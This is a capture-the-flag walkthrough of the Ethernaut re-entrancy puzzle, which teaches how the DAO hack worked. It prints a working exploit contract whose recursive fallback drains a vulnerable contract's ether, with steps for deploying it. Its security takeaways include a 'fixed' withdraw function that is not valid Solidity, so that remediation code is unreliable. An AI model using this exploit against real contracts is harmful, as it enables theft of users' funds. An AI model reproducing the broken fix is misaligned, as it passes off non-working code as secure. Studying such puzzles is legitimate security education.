Ethernaut Lvl 10 Re-entrancy Walkthrough: How to abuse execution ordering and reproduce the DAO hack
This is a in-depth series around Zeppelin team’s smart contract security puzzles. We learn key Solidity concepts to solve the puzzles 100% on your own.
This levels requires you to steal all the ethers from the contract.
What is re-entrancy
Re-entrancy happens in single-thread computing environments, when the execution stack jumps or calls subroutines, before returning to the original execution.
On one hand, this single-thread execution ensures contracts’ atomicity and eliminates some race conditions. On the other hand, contracts are vulnerable to poor execution ordering.
In the example above, Contract B is a malicious contract which recursively calls A.withdraw() to deplete Contract A’s funds. Note that the fund extraction successfully finishes before Contract A returns from its recursive loop, and even realizes that B has extracted way above its own balance.
This Ethernaut level exploits this reentrancy issue and the following, additional factors that led to the DAO hack:
- Fallback functions can be called by anyone & execute malicious code
- Malicious external contracts can abuse withdrawals
Detailed Walkthrough
- Create a malicious contract called
Reenter.sol
, which will first donate toReentrance.sol
, and then recursively withdraw from it until Reentrance is depleted of funds.
contract Reenter {
Reentrance public original = Reentrance(YOUR_INSTANCE_ADDR);
uint public amount = 1 ether; //withdrawal amount each time
}
2. Seed Reenter.sol
with Ethers upon the contract construction:
constructor() public payable {
}
3. Create a public function so Reenter.sol
can donate to Reentrance.sol
and be registered as a donor in its balances
ledger:
function donateToSelf() public {
original.donate.value(amount).gas(4000000)(address(this));//need to add value to this fn
}
Invoking this function will ensure that your malicious contract will be able to call withdraw()
at least once, i.e. passing the if(balances[msg.sender] >= _amount)
check.
The above diagram illustrates the recursive loop that lets Reenter.sol
extract all the funds from Reentrance.sol
.
Let’s implement a malicious fallback function in Contract B, so that when Contract A executes msg.sender.call.value(_amount)()
to refund Contract B, your malicious contracts triggers even more withdrawals.
4. Implement this malicious fallback function:
function() public payable {
if (address(original).balance != 0 ) {
original.withdraw(amount);
}
}
5. Lastly, in Remix: deploy your contract to Ropsten, seeding it with Ethers, donate to Reentrance
, then invoke your fallback function to deplete all funds from Reentrance
.
Key Security Takeaways
- The order of execution really matters in Solidity. If you must make external function calls, make the last thing you do (after all requisite checks and balances):
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
balances[msg.sender] -= _amount;
if(msg.sender.transfer(_amount)()) {
_amount;
}
}
}
// Or even better, invoke transfer in a separate function
- Include a mutex to prevent re-entrancy, e.g. use a boolean
lock
variable to signal execution depth. - Be careful when using function modifiers to check invariants: modifiers are executed at the start of the function. If the variable state will change during the entirety of the function, consider extracting the modifier into a check placed at the correct line in the function.
- “Use
transfer
to move funds out of your contract, since itthrow
s and limits gas forwarded. Low level functions likecall
andsend
just return false but don't interrupt the execution flow when the receiving contract fails.” — from Ethernaut level - Check out the full analysis of the DAO hack here.